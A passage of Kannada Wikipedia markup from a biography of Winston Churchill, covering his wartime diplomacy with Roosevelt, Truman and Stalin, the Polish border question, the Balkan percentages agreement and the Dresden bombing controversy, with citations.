ವೈಟ್ ಹೌಸ್‌ನಲ್ಲಿ ಡಿಸೆಂಬರ್‍ ೧೯೪೧ ರಲ್ಲಿ ಲಘು ಹೃದಯಾಘಾತಕ್ಕೊಳಗಾದರು ಮತ್ತು ಡಿಸೆಂಬರ್‍ ೧೯೪೩ ರಲ್ಲಿ ನ್ಯುಮೋನಿಯಾಕ್ಕೊಳಗಾದರು. ಇದೆಲ್ಲದರ ಹೊರತಾಗಿಯೂ{{convert|100000|mi|km|-4}} ಯುದ್ದಪರ್ಯಂತವೂ ಇತರ ರಾಷ್ಟ್ರಗಳ ನಾಯಕರುಗಳನ್ನು ಭೇಟಿಮಾಡುವ ಸಲುವಾಗಿ ಪ್ರಯಾಣ ಮಾಡುತ್ತಲೇ ಇದ್ದರು. ಪ್ರಯಾಣ ಸಮಯದಲ್ಲಿ ಭದ್ರತಾ ದೃಷ್ಟಿಯಿಂದ ಅವರು ಸಾಮಾನ್ಯವಾಗಿ ಕೊಲೊನೆಲ್ ವಾರ್ಡೆನ್ ಎಂಬ ಉಪನಾಮದಿಂದ ಹೆಸರಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದರು.<ref>{{cite book|url=https://books.google.com/?id=1Ok4AAAAIAAJ&q=colonel+warden&dq=colonel+warden|title=The War and Colonel Warden|year=1963|chapter=Flight to Cairo|quote=Colonel Warden was his favourite pseudonym|last=Pawle|first=Gerald|publisher=George G. Harrap & Co. Ltd|isbn=0856176370}}</ref> ಚರ್ಚಿಲ್ ಅವರು ಎರಡನೇ ಮಹಾಯುದ್ದದ ಸಮಯದಲ್ಲಿ ಯುರೋಪ್ ಮತ್ತು ಏಷ್ಯಾ ಗಡಿಗಳಲ್ಲಿ ನಡೆದ ಯುದ್ದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಪುಸ್ತಕದ ಕುರಿತು ಗೋಷ್ಠಿ ನಡೆಸಿದರು. ಇವುಗಳನ್ನು ೧೯೪೩ ರಲ್ಲೇ ಚರ್ಚೆ ಮಾಡಲಾಗಿತ್ತು. ೧೯೪೪ರಲ್ಲಿ ಎರಡನೇ ಕ್ಯೂಬಿಕ್ ಕಾನ್ಫರೆನ್ಸ್‌ನಲ್ಲಿ ಅವರು ವಿಶೇಷ ದಳ ನಿಯೋಜನೆ ಕುರಿತು ಚಿತ್ರಣ ಮಂಡಿಸಿದರು ಮತ್ತು ಅಮೆರಿಕಾ ಅಧ್ಯಕ್ಷ ಫ್ರಾಂಕ್‌ಲಿನ್ ಡಿ. ರೂಸ್‌ವೆಲ್ಟ್‌ ಅವರೊಂದಿಗೆ ಒರಿಜಿನಲ್ ಮೋರ್‌ಗೆಂಟು ಪ್ಲಾನ್‌ನ ಮತ್ತೊಂದು ಆವೃತ್ತಿಗೆ ಸಹಿ ಮಾಡಿದರು. ಇದರಲ್ಲಿ ಬೇಷರತ್ತಾಗಿ ಶರಣಾದ ಜರ್ಮನಿ ದೇಶವನ್ನು ಮುಖ್ಯವಾಗಿ "ಕೃಷಿ ಮತ್ತು ಪಶುಪಾಲನಾ" ದೇಶವನ್ನಾಗಿ ಬದಲಾಯಿಸುವ ಒಪ್ಪಂದವನ್ನೊಳಗೊಂಡಿತ್ತು."<ref>ಮೈಕೆಲ್ ಆರ್. ಬೆಶ್ಲಾಸ್, (೨೦೦೨) ''ದಿ ಕಾಂಕರರ್ಸ್'' : ಪು. ೧೩೧</ref> ಯುರೋಪಿಯನ್ ಗಡಿಗಳು ಮತ್ತು ವಸಾಹತು ಪ್ರದೇಶಗಳ ಪ್ರಸ್ತಾವನೆಯನ್ನು ಔಪಚಾರಿಕವಾಗಿ [[ಹ್ಯಾರಿ ಎಸ್ ಟ್ರೂಮನ್]], ಚರ್ಚಿಲ್ ಮತ್ತು [[ಜೋಸೆಫ್ ಸ್ಟಾಲಿನ್]] ಅವರು ಪೋಸ್ಟ್‌ಡಮ್‌ನಲ್ಲಿ ಒಪ್ಪಿದರು. ಹ್ಯಾರಿ ಎಸ್ ಟ್ರೂಮನ್ ಅವರೊಂದಿಗೆ ಚರ್ಚಿಲ್‌ ಅವರ ಸುಧೃಢ ಬಾಂಧವ್ಯವು ಎರಡೂ ದೇಶಗಳಿಗೆ ಹೆಚ್ಚು ಪ್ರಯೋಜನಕಾರಿಯಾಗಿತ್ತು. ಆದರೆ ಅವರು ತಮ್ಮ ನೆಚ್ಚಿನ ಸ್ನೇಹಿತ ಮತ್ತು ತಮ್ಮದೇ ಒಂದು ಭಾಗದಂತಿದ್ದ ರೂಸ್‌ವೆಲ್ಟ್‌ ಅವರನ್ನು ಕಳೆದುಕೊಂಡಿದ್ದಕ್ಕೆ ದುಃಖಿಸಿದ್ದು ಸ್ಪಸ್ಟವಾಯಿತು. ಚರ್ಚಿಲ್ ಅವರು ಟ್ರೂಮನ್ ಅವರಿಗೆ ಮೊದಲ ದಿನವೇ ತಮ್ಮ ಅಗಾಧ ಬೆಂಬಲ ನೀಡಿದರು ಮತ್ತು "ಜಗತ್ತಿಗೆ ಅವಶ್ಯಕತೆಯಿರುವ ಹಾಗೂ ಅನುಕೂಲಕರವಾಗಿರುವ ಒಬ್ಬ ನಾಯಕರು" ಎಂದು ಕರೆದರು.<ref>ಜೆನ್ಕಿನ್ಸ್ , ಪು. ೮೪೯</ref> ===ಸೋವಿಯತ್ ಒಕ್ಕೂಟಗಳ ಜೊತೆಗಿನ ಸಂಬಂಧಗಳು=== [[File:ChurchillandInonu.jpg|thumb|ದಕ್ಷಿಣ ಟರ್ಕಿಯಲ್ಲಿರುವ ಯೆನಿಸ್ ರೇಲ್ವೆ ಸ್ಟೇಶನ್‌ನಲ್ಲಿ ಗುಟ್ಟಾಗಿ ಪ್ರಧಾನಿ ಎಸ್ಮೆಟ್ ಇನೊನುರನ್ನು ಭೇಟಿ ಮಾಡುತ್ತಿರುವ ಚರ್ಚಿಲ್‌ 30 ಜನವರಿ 1943]] ಸೋವಿಯತ್‌ ಯೂನಿಯನ್‌ನ ಮೇಲೆ ಹಿಟ್ಲರ್‌ ಧಾಳಿ ಮಾಡಿದಾಗ ಕಮ್ಯುನಿಷ್ಟ್‌ ವಿರೋಧಿಯಾದ ಚರ್ಚಿಲ್‌ ಅವರು " ಒಂದು ವೇಳೆ ಹಿಟ್ಲರ್‌ ನರಕವನ್ನೇ ಬಯಸಿ ಸೋವಿಯತ್‌ ಯುನಿಯನ್‌ನಮೇಲೆ ದಾಳಿ ಮಾಡಿದರೆ ತಾನು ಕನಿಷ್ಟಪಕ್ಷ ಅವರಿಗೆ ಹೌಸ್‌ ಆಪ್‌ ಕಾಮನ್‌ನಲ್ಲಿಯಾದರೂ ಅವರ ಪರವಾಗಿ ಸಹಾಯ ಮಾಡುತ್ತೇನೆ" ಎಂದು ಸ್ಟಾಲಿನ್‌ ಅವರಿಗೆ ತನ್ನ ನಿಲುವನ್ನು ತಿಳಿಸುತ್ತಾ ಹೀಗೆ ಹೇಳಿದರು.<ref>{{cite web|url=http://www.chu.cam.ac.uk/archives/collections/churchill_papers/biography/|title=The Churchill Papers: Biography|publisher=Chu.cam.ac.uk|date=|accessdate=9 August 2009}}</ref> ಆದರೆ ಅತೀ ಶೀಘ್ರದಲ್ಲಿ ಸೋವಿಯತ್‌ ಯುನಿಯನ್‌ಗೆ ಸಹಾಯಮಾಡಲು ಸಮರ ಟ್ಯಾಂಕ್‌ಗಳನ್ನು ಕಳುಹಿಸಿಕೊಟ್ಟರು.<ref>{{cite book|last=Stokesbury|first=James L.|title=A Short History of WWII|publisher=William Morrow and Company, Inc.|year=1980|location=New York|page=159|isbn=0-688-03587-6}}</ref> ಒಪ್ಪಂದದ ಪ್ರದೇಶವು ಪೊಲೆಂಡ್‌ನ ಗಡಿಯಾಗಿತ್ತು. ಈ ಪ್ರದೇಶವು ಪೊಲೆಂಡ್‌ ಮತ್ತು ಸೋವಿಯತ್‌ ಯುನಿಯನ್‌ನ, ಮತ್ತು ಜರ್ಮನಿ ಮತ್ತು ಪೊಲೆಂಡ್‌ಗಳ ನಡುವಿನ ಗಡಿಯಾಗಿತ್ತು ಮತ್ತು ಈ ನಿರ್ಧಾರವು ಪೊಲಿಶ್‌ ಸರ್ಕಾರವನ್ನು ಹೊರಗಿಟ್ಟು ತೆಗೆದುಕೊಂಡ ನಿರ್ಧಾರವಾಗಿತ್ತು ಮತ್ತು ಇದೊಂದು ದ್ರೋಹದ ಕ್ರಮವೆಂದು ಮುಂದಿನ ಯುದ್ದದ ವರ್ಷಗಳಲ್ಲಿ ಕರೆಯಲಾಯಿತು. ಸ್ಟಾಲಿನ್‌ ಅವರ ಮನವೊಲಿಸುವ ಸಲುವಾಗಿ ಚರ್ಚಿಲ್‌ ಅವರು ಪೊಲಿಶ್‌ ದೇಶದ ಪ್ರಧಾನಮಂತ್ರಿಯಾದ ದೇಶಭೃಷ್ಟರಾಗಿರುವ ಮೈಕಲಾಜೈಕ್‌ ಅವರನ್ನು ಪ್ರೆರೇಪಿಸಲು ಪ್ರಯತ್ನಿಸಿದರು ಆದರೆ ಮೈಕಲಾಜೈಕ್‌ ಅವರು ತಿರಸ್ಕರಿಸಿದರು. ಎರಡೂ ದೇಶಗಳ ಗಡಿಯನ್ನು ಸರಿಯಾಗಿ ಗೊತ್ತುಮಾಡಲು ಜನರನ್ನು ವರ್ಗಾವಣೆ ಮಾಡುವುದೇ ಉತ್ತಮ ಮಾರ್ಗವೆಂದು ಮನವೊಲಿಸಲು ಚರ್ಚಿಲ್‌ ಅವರು ಪ್ರಯತ್ನಿಸಿದರು. ೧೫ ಡಿಸೆಂಬರ್‌ ೧೯೪೪ರಂದು ಕಾಮನ್‌ ಹೌಸ್‌ನಲ್ಲಿ ಮಾಡಿದ ಭಾಷಣದಲ್ಲಿ ಅವರು " ಜನರನ್ನು ಹೊರದಬ್ಬುವುದು ನಾವು ಮಾಡಬಹುದಾದ ಅತ್ಯಂತ ಉತ್ತಮ ಪರಿಹಾರವಾಗಿದೆ ಇದರಿಂದ ನಾವು ಜನಾಂಗೀಯ ಸಮಸ್ಯೆಗಳಿಂದಾಗಬಹುದಾದ ನಿರಂತರವಾಗಿ ಆಗುವ ತೊಂದರೆಗಳನ್ನು ನಿವಾರಿಸಬಹುದು. ಅಲ್ಲಿ ಕೊನೆಯಿಲ್ಲದ ತೊಂದರೆಗಳನ್ನು ಉಂಟುಮಾಡುವುದಕ್ಕೆ ಜನಸಂಖ್ಯೆಯ ಮಿಶ್ರಣವು ಕಂಡುಬರುವುದಿಲ್ಲ... ಒಂದು ಸ್ವಚ್ಛವಾದ ವರ್ಗವಣೆಯನ್ನು ಮಾಡಬೇಕಿದೆ. ನಾನು ಈ ಬದಲಾವಣೆಗಳ ಬಗ್ಗೆ ಎಚ್ಚರಿಕೆಯನ್ನು ನೀಡಲ್ಪಟ್ಟಿರಲಿಲ್ಲ, ಇವು ಹೆಚ್ಚಾಗಿ ಆಧಿನಿಕ ಸನ್ನಿವೇಶಗಳಲ್ಲಿ ಸಂಭವಿಸುತ್ತವೆ."<ref>ಕ್ಲಾರ್ ಮರ್ಫಿ''[http://news.bbc.co.uk/1/hi/world/europe/3528506.stm WWII ಎಕ್ಸ್‌ಪಲ್ಶನ್ಸ್ ಸ್ಪೆಕ್ಟರ್ ಲೈವ್ಸ್ ಆನ್]'' BBC.co.uk ೨ ಅಗಸ್ಟ್ ೨೦೦೪</ref><ref>ಡೆ ಜಯಾಸ್, ಆಲ್ಫ್ರೆಡ್ ಎಂ. (೧೯೭೯) ''ನೆಮೆಸಿಸ್ ಎಟ್ ಪೋಟ್ಸ್‌ಡ್ಯಾಂ: ದಿ ಆಂಗ್ಲೊ ಅಮೆರಿಕ್ಸ್ ಆ‍ಯ್‌೦ಡ್ ದ ಎಕ್ಸ್‌ಪಲ್ಶನ್ ಆಫ್ ದ ಜರ್ಮನ್ಸ್'' , ರಾಟ್ಲೆಡ್ಜ್ ISBN ೦-೭೧೦೦-೦೪೫೮-೩. ಅಧ್ಯಾಯ I, ಪು. ೧ ಸೈಟಿಂಗ್ ಚರ್ಚಿಲ್‌, ''ಪಾರ್ಲಿಮೆಂಟರಿ ಡಿಬೇಟ್ಸ್'' , ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್, ಸಂಪುಟ. ೪೦೬, col. ೧೪೮೪</ref> ಆದಾಗ್ಯೂ ಜರ್ಮನ್‌ರ ಫಲಿತಾಂಶದ ವಿಸ್ಪೋಟನಗಳು ಅತ್ಯಂತ ಕಷ್ಟದ ಪರಿಸ್ಥಿತಿಯನ್ನು ಉಂಟುಮಾಡುವ ರೀತಿಯಲ್ಲಿ ನಡೆಸಲ್ಪಟ್ಟವು ಮತ್ತು, ವೆಸ್ಟ್ ಜರ್ಮನ್ ಮಿನಿಸ್ಟ್ರಿ ಆಫ್ ರೆಫ್ಯೂಜೀಸ್ ಮತ್ತು ಡಿಸ್‌ಪ್ಲೇಸ್ಡ್ ಪರ್ಸನ್ಸ್ (ನಿರಾಶ್ರಿತರ ಮತ್ತು ಬೀದಿಪ್ಲಾಲದ ಜನರ ಪಶ್ಚಿಮ ಜರ್ಮನ್ ವಿಭಾಗ) ೧೯೬೬ ರ ಒಂದು ವರದಿಯ ಪ್ರಕಾರ ಮಿಲಿಯನ್‍ಗಿಂತಲೂ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ಮರಣವು ಸಂಭವಿಸಿತ್ತು. ಚರ್ಚಿಲ್‌ ಅವರು ಸೋವಿಯತ್‌ ಯುನಿಯನ್‌ ಪೊಲೆಂಡ್‌ನ ಮೇಲೆ ಮಾಡಿದ ಆಕ್ರಮಣವನ್ನು ವಿರೋಧಿಸಿ ತಮ್ಮ ಪುಸ್ತಕದಲ್ಲಿ ಬರೆದುಕೊಂಡರಾದರೂ ಸಮಾವೇಶದಲ್ಲಿ ಅದನ್ನು ವಿರೋಧಿಸಲು ಅವರಿಂದ ಸಾಧ್ಯವಾಗಲಿಲ್ಲ.<ref>ಜೆನ್ಕಿನ್ಸ್ ,ಪುಪು. ೭೫೯–೬೩</ref> [[File:Yalta summit 1945 with Churchill, Roosevelt, Stalin.jpg|thumb|left|ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ ಯಾಲ್ಟಾ ಸಭೆಯಲ್ಲಿ ರೂಸ್ವೆಲ್ಟ್ ಮತ್ತು ಸ್ಟಾಲಿನ್ ಜೊತೆಗೆ ಹಿಂಬದಿಯಲ್ಲಿ]] ೧೯೪೪ ಅಕ್ಟೋಬರ್‌ ಸಮಯದಲ್ಲಿ ಈಡನ್‌ ಅವರು ರಷ್ಯಾದ ಮುಖಂಡರನ್ನು ಭೇಟಿಯಾಗುವ ಸಲುವಾಗಿ ಮಾಸ್ಕೋದಲ್ಲಿದ್ದರು. ಈ ಸಂದರ್ಭದಲ್ಲಿ ರಷ್ಯಾದ ಸೇನೆಯು ಪಾಶ್ಚಿಮಾತ್ಯ ಯುರೋಪ್‌ ದೇಶಗಳ ಮೇಲೆ ದಂಡೆತ್ತಿ ಹೋಗುವ ಪ್ರಾರಂಭಿಕ ಹಂತದಲ್ಲಿದ್ದರು. ಎಲ್ಲವೂ ವಿಧ್ಯುಕ್ತವಾಗಿ ಮತ್ತು ಸಮರ್ಪಕವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವಂತೆ ಆಗುವವರೆಗೆ ಯಲ್ಟಾ ಸಮಾವೇಶವನ್ನು ನಿರ್ಧರಿಸಿ ತಾತ್ಕಾಲಿಕವಾಗಿ ಯುದ್ದ ಸಂದರ್ಭದಲ್ಲಿ ಯಾರು ಯಾವ ಕಾರ್ಯಗಳನ್ನು ನಿರ್ವಹಿಸಬೇಕೆಂದು ರೂಪುರೇಷೆಗಳನ್ನು ರೂಪಿಸಬೇಕೆಂದು ಚರ್ಚಿಲ್‌ ಅವರು ತಮ್ಮ ಅಭಿಪ್ರಾಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು.<ref name="tsww">{{cite book|last=Churchill|first=Winston|title=The Second World War|publisher=Penguin|year=1989|location=London|page=852|isbn=0-14-012836-0}}</ref> ೯ ಅಕ್ಟೋಬರ್‌ ೧೯೪೪ರಂದು ಚರ್ಚಿಲ್ ಮತ್ತು ಸ್ಟಾಲಿನ್‌ ಅವರ ನಡುವೆ ಈ ಮಹತ್ತರವಾದ ಸಭೆಗಳು ಕ್ರೆಮ್ಲಿನ್‌ನಲ್ಲಿ ನಡೆಯಿತು. ಈ ಸಭೆಯಲ್ಲಿ ಪೊಲೆಂಡ್‌ ಮತ್ತು ಬಾಲ್ಕನ್‌ಗಳ ಸಮಸ್ಯೆಗಳನ್ನು ಚರ್ಚಿಸಲಾಯಿತು.<ref name="percent">ರೆಸಿಸ್, ಅಲ್ಬರ್ಟ್. ''ದ ಚರ್ಚಿಲ್‌-ಸ್ಟ್ಯಾಲಿನ್ ಸಿಕ್ರೇಟ್ "ಪರ್ಸೆಂಟೇಜಸ್" ಅಗ್ರಿಮೆಂಟ್ ಆನ್ ದ ಬಲ್ಕನ್ಸ್, ಮಾಸ್ಕೊ, ಅಕ್ಟೋಬರ್ ೧೯೪೪'' . ದಿ ಅಮೆರಿಕನ್ ಹಿಸ್ಟೋರಿಕಲ್ ರಿವ್ಯೂ, ಸಂಪುಟ. ೮೩, ಸಂಖ್ಯೆ. ೨. (ಎಪ್ರಿಲ್. ೧೯೭೮), ಪುಪು. ೩೬೮–೮೭</ref> ಆ ದಿನ ಚರ್ಚಿಲ್ ಅವರು ಸ್ಟಾಲಿನ್‌ ಅವರಿಗೆ ತಮ್ಮ ಭಾಷಣವನ್ನು ಅರ್ಥವತ್ತಾಗಿ ನಿರೂಪಿಸಿದರು: {{bquote|Let us settle about our affairs in the Balkans. Your armies are in Rumania and Bulgaria. We have interests, missions, and agents there. Don't let us get at cross-purposes in small ways. So far as Britain and Russia are concerned, how would it do for you to have ninety per cent predominance in Rumania, for us to have ninety per cent of the say in Greece, and go fifty-fifty about Yugoslavia?<ref name=tsww/>}} ಸ್ಟಾಲಿನ್‌ ಅವರು ಈ ಶೇಕಡಾವಾರು ಒಪ್ಪಂದವನ್ನು ಒಪ್ಪಿಕೊಂಡರು ಮತ್ತು ತಾವು ಬಾಷಾಂತರವನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಕೆಳಿಸಿಕೊಂಡಿದ್ದೇನೆಂದು ಕಾಗದದ ಮೇಲೆ ಗೀಚುವ ಮೂಲಕ ಸೂಚಿಸಿದರು. ೧೯೫೮ರಲ್ಲಿ ಈ ಸಭೆಯ ಎಲ್ಲ ವಿಷಯಗಳು ಸಾರ್ವಜನಿಕವಾಗಿ ಪ್ರಕಟಿಸಲಾದ ಐದು ವರ್ಷಗಳ ನಂತರ(''ಎರಡನೇ ಜಾಗತಿಕ ಯುದ್ದ'' ದ ಸಂದರ್ಭದಲ್ಲಿ) ಸೋವಿಯತ್‌ ಯುನಿಯನ್‌ನ ಅಧಿಕಾರಿಗಳು "ಬ್ರಿಟನ್‌ನಿಂದ ಬಂದ ಸಾಮಾನುಗಳ ಮೇಲೆ ಕಡಿಮೆ ಸುಂಕ ಹಾಕುವ ಒಪ್ಪಂದ"ಕ್ಕೆ ಸ್ಟಾಲಿನ್‌ ಅವರು ಸಹಿ ಹಾಕಿದ್ದಾರೆ ಎಂಬ ವಿಚಾರವನ್ನು ತಳ್ಳಿಹಾಕಿದರು.<ref name="percent" /> ಯಲ್ಟಾ ಸಮಾವೇಶದ ಒಂದು ಅಂತಿಮ ತಿರುವಾದ ಸೊವಿಯತ್‌ ಯೂನಿಯನ್‌ನ ಎಲ್ಲ ದೇಶಗಳು ಒಕ್ಕೂಟಕ್ಕೆ ಸೇರಲಿವೆ ಎಂಬ ವಿಚಾರವು ಎಲ್ಲ ನಾಗರೀಕರಿಗೂ ತಿಳಿಯಪಟ್ಟಿತು. ಇದು ಕೂಡಲೇ ಮಿತ್ರರಾಷ್ಟ್ರಗಳಿಂದ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಪಡೆದುಕೊಂಡ ಯುದ್ಧದ ಸೋವಿಯತ್ ಖೈದಿಗಳ ಮೇಲೆ ಪರಿಣಾಮವನ್ನು ಬೀರಿತು, ಆದರೆ ಎಲ್ಲಾ ಈಸ್ಟರ್ನ್ ಯುರೋಪಿಯನ್ ನಿರಾಶ್ರಿತರಿಗೂ ಕೂಡ ವಿಸ್ತರಿಸಲ್ಪಟ್ಟಿತು.<ref>ಜೆರೆಮಿ ಮರ್ರೆ-ಬ್ರೌನ್‌ರಿಂದ [http://www.bu.edu/jeremymb/papers/paper-y1.htm ಎ ಫೂಟ್‌ಸ್ಟೋನ್ ಟು ಯಾಲ್ಟಾ] {{Webarchive|url=https://web.archive.org/web/20080516044735/http://www.bu.edu/jeremymb/papers/paper-y1.htm |date=2008-05-16 }}, ಬೋಸ್ಟನ್ ಯುನಿವರ್ಸಿಟಿಯಲ್ಲಿ ಡಾಕ್ಯುಮೆಂಟರಿ</ref> [[ಅಲೆಕ್ಸಾಂಡರ್ ಸೊಲ್ಜೆನಿತ್ಸಿನ್|ಅಲೆಕ್ಸಾಂಡರ್‌ ಸೊಲ್ಜೆನಿಟ್ಸನ್‌]] ಅವರು ಕಿಲ್‌ಹಾಲ್‌ ಕಾರ್ಯಾಚರಣೆಯನ್ನು " ಎರಡನೇ ಮಹಾಯುದ್ದದ ಕೊನೆಯ ಗುಟ್ಟಾಗಿದೆ" ಎಂದಿದ್ದಾರೆ.<ref>[[ಅಲೆಕ್ಸಾಂಡರ್ ಸೊಲ್ಜೆನಿತ್ಸಿನ್|ಸೋಜಿಟ್ಸಿನ್, ಅಲೆಕ್ಸಾಂಡರ್.]] ದಿ ಗುಲಾಗ್ ಆರ್ಚಿಪೆಲಾಗೊ, ಸಂಪುಟ. ೧. ಥಾಮ್ಸನ್ ಪಿ. ವೈಟ್ನಿಯಿಂದ ಅನುವಾದ. ನ್ಯೂಯಾರ್ಕ್: ಹಾರ್ಪರ್ ಆ‍ಯ್‌೦ಡ್ ರೋ, ೧೯೭೪, ಪು. ೮೫</ref> ಈ ಕಾರ್ಯಾಚರಣೆಯು ಯುದ್ದನಂತರ ಯುರೋಪ್‌ಗೆ ಪಲಾಯನ ಮಾಡಿದ ಸುಮಾರು ಎರಡು ಮಿಲಿಯನ್‌ ನಿರಾಶ್ರಿತರ ರಕ್ಷಣೆ<ref name="Hornberger">ಜಾಕೋಬ್ ಹಾರ್ನ್‌ಬೆರ್ಗರ್ ''ರಿಪಾರ್ಟ್ರಿಯೇಶನ್—ದ ಡಾರ್ಕ್ ಸೈಡ್ ಆಫ್ ವರ್ಲ್ಡ್ ವಾರ್ II'' . ದ ಫೂಚರ್ ಆಫ್ ಫ್ರೀಡಮ್ ಫೌಂಡೇಶನ್, ೧೯೯೫. [http://www.fff.org/freedom/0495a.asp ] {{Webarchive|url=https://web.archive.org/web/20120117092222/http://www.fff.org/freedom/0495a.asp |date=2012-01-17 }}</ref> ಯ ಜವಾಬ್ಧಾರಿಯನ್ನು ವಹಿಸಿಕೊಂಡಿತು. ===ಡ್ರೆಸ್ಡನ್ ಬಾಂಬ್ ದಾಳಿ ವಿವಾದ=== {{Main|Bombing of Dresden in the Second World War}} [[File:Bundesarchiv Bild 183-08778-0001, Dresden, Tote nach Bombenangriff.jpg|thumb|ಡ್ರೆಸ್ಡೆನ್ ವಿನಾಶ ಫೆಭ್ರವರಿ 1945]] ೧೯೪೫, ಫೆಬ್ರವರಿ ೧೩–೧೫ ರ ಮಧ್ಯೆ ಬ್ರಿಟಿಷ್ ಮತ್ತು ಯುಎಸ್‌ನ ಬಾಂಬ್ ದಾಳಿಗಾರರು ಜರ್ಮನ್ ಗಾಯಾಳುಗಳು ಮತ್ತು ನಿರಾಶ್ರಿತರೇ ಆವರಿಸಿಕೊಂಡಿದ್ದ ಡ್ರೆಸ್ಟನ್‌ನ ಜರ್ಮನ್ ನಗರದ ಮೇಲೆ ಆಕ್ರಮಣ ನಡೆಸಿದರು.<ref>ಟೇಲರ್, ಫ್ರೆಡೆರಿಕ್; ''ಡೆಸ್ಡೆನ್: ಗುರುವಾರ, ೧೩ ಫೆಬ್ರವರಿ ೧೯೪೫'' ; [http://www.gallerybooks.com/bkm/wob040125.html ''ಯುಎಸ್ ರಿವ್ಯೂ'' ] {{Webarchive|url=https://web.archive.org/web/20101121082403/http://www.gallerybooks.com/bkm/wob040125.html |date=2010-11-21 }}, ನ್ಯೂಯಾರ್ಕ್:ಹಾರ್ಪರ್‌ಕಾಲಿನ್ಸ್, ISBN ೦-೦೬-೦೦೦೬೭೬-೫; [http://www.bloomsbury.com/BookCatalog/ProductItem.asp?S=&amp;isbn=0747570787 ''ಯು.ಕೆ. ರಿವ್ಯೂ'' , ಲಂಡನ್: ಬ್ಲೂಮ್ಸ್‌ಬರಿ, ISBN 0-7475-7078-7. ಪುಪು. 262–64] {{Webarchive|url=https://web.archive.org/web/20080615234130/http://www.bloomsbury.com/BookCatalog/ProductItem.asp?S=&isbn=0747570787 |date=2008-06-15 }} ಡೆಸ್ಡೆನ್‌ನಲ್ಲಿ ಅಸಂಖ್ಯಾತ ಜನ ನಿರಾಶ್ರಿತರಿದ್ದಾರೆ. ಬಾಂಬ್ ದಾಳಿ ನಡೆದ ಮೊದಲನೆಯ ರಾತ್ರಿ ನಗರದಲ್ಲಿ ಹಾಗೂ ಸುತ್ತಮುತ್ತಲಿನ ಪ್ರದೇಶಗಳಲ್ಲಿ ಸುಮಾರು ೨೦೦,೦೦೦ ಅಥವಾ ಅದಕ್ಕಿಂತ ಕಡಿಮೆ ಜನ ನಿರಾಶ್ರಿತರಾಗಿದ್ದಾರೆಂದು ಅಂದಾಜಿಸಲು ಇತಿಹಾಸಕಾರ ಮ್ಯಾಥಿಯಸ್ ನೆಟ್ಜನರ್, ಗಟ್ಜ್ ಬೆರ್ಗಾಂಡರ್ ಮತ್ತು ಫ್ರೆಡರಿಕ್ ಟೇಲರ್, ಐತಿಹಾಸಿಕ ಮೂಲಗಳು ಮತ್ತು ಅನುಮಾನದ ಕಾರಣಗಳ ಮೂಲಕ ಅಂದಾಜಿಸುತ್ತಾರೆ.</ref> ನಗರದ ಸಾಂಸ್ಕೃತಿಕ ಪ್ರಾಧಾನ್ಯತೆಯ ಕಾರಣದಿಂದ ಮತ್ತು ಯುದ್ಧಾಂತ್ಯದ ಸಮೀಪದಲ್ಲಿ ನಾಗರಿಕ ಅಪಘಾತಗಳ ಸಂಖ್ಯೆಗಳ ಕಾರಣದಿಂದಾಗಿ ಇದು ತೀವ್ರ ಪ್ರಮಾಣದಲ್ಲಿ ವಿವಾದಕ್ಕೊಳಗಾದ ಪಾಶ್ಚಾತ್ಯ ಒಕ್ಕೂಟದ ಯುದ್ಧ ವಿಧಾನವಾಗಿತ್ತು. ಬಾಂಬ್ ದಾಳಿಯನ್ನು ಹಿಂಬಾಲಿಸಿ ಚರ್ಚಿಲ್ ಅತ್ಯಂತ ರಹಸ್ಯವೆಂದು ಪರಿಗಣಿಸಲ್ಪಟ್ಟ ಟೆಲಿಗ್ರಾಮ್‌ನಲ್ಲಿ ಹೀಗೆ ನುಡಿದನು:{{bquote|It seems to me that the moment has come when the question of bombing of German cities simply for the sake of increasing the terror, though under other pretexts, should be reviewed... I feel the need for more precise concentration upon military objectives such as oil and communications behind the immediate battle-zone, rather than on mere acts of terror and wanton destruction, however impressive.<ref>After the devastation of [[Dresden]] by aerial bombing, and the resulting fire storm (February 1945); quoted in ''Where the Right Went Wrong'' (2004) by Patrick J. Buchanan, p. 119</ref>}} ಇದರ ಪ್ರತಿಫಲನವಾಗಿ, ಸಿಬ್ಬಂದಿವರ್ಗದ ಪ್ರಮುಖರ ಒತ್ತಡ ಹಾಗೂ ಇತರರಲ್ಲಿ ಮುಖ್ಯವಾಗಿ ಸರ್ ಚಾರ್ಲ್ಸ್ ಪೋರ್ಟಲ್ (ವಾಯುಪಡೆಯ ಮುಖ್ಯಸ್ಥ)ರು ಮತ್ತು ಸರ್ ಆರ್ಥರ್ ಹ್ಯಾರಿಸ್ (ಆರ್‌ಎ‌ಎಫ್ ಬಾಂಬರ್ ಕಮಾಂಡ್‌ನಲ್ಲಿ ಎಒಸಿ-ಇನ್-ಸಿ) ವ್ಯಕ್ತಪಡಿಸಿದ ತಮ್ಮ ದೃಷ್ಟಿಕೋನಕ್ಕೆ ಪ್ರತಿಕ್ರಿಯಿಸಿ ಚರ್ಚಿಲ್ ತನ್ನ ಮೆಮೊವನ್ನು ಹಿಂತೆಗೆದುಕೊಂಡು ಹೊಸದನ್ನು ಪ್ರಕಟಗೊಳಿಸಿದನು.<ref name="Longmate-346">ಲಾಂಗ್‌ಮೇಟ್, ನಾರ್ಮನ್ (೧೯೮೩). "ದಿ ಬಾಂಬರ್ಸ್"ಹಟ್ಕಿನ್ಸ್&amp; ಕಂಪನಿ. ಪು. ೩೪೬. ಹ್ಯಾರಿಸ್ ಕೋಟ್ ಆ‍ಯ್‌ಸ್ ಸೋರ್ಸ್:ಪಬ್ಲಿಕ್ ರೆಕಾರ್ಡ್ ಆಫೀಸ್ ಎಟಿಎಚ್/ಡಿಒ/೪ಬಿ ಕೋಟೆಡ್ ಬೈ ಲಾರ್ಡ್ ಜಕರ್ಮನ್ "ಪ್ರಾಮ್ ಆ‍ಯ್‌ಪ್ಸ್ ಟು ವಾರ್ಲಾರ್ಡ್" ಪು. ೩೫೨</ref><ref name="Taylor-432-433">*ಟೇಲರ್, ಫ್ರೆಡೆರಿಕ್ (೨೦೦೪). ಡೆಸ್ಡೆನ್'': ಮಂಗಳವಾರ, ೧೩ ಫೆಬ್ರವರಿ 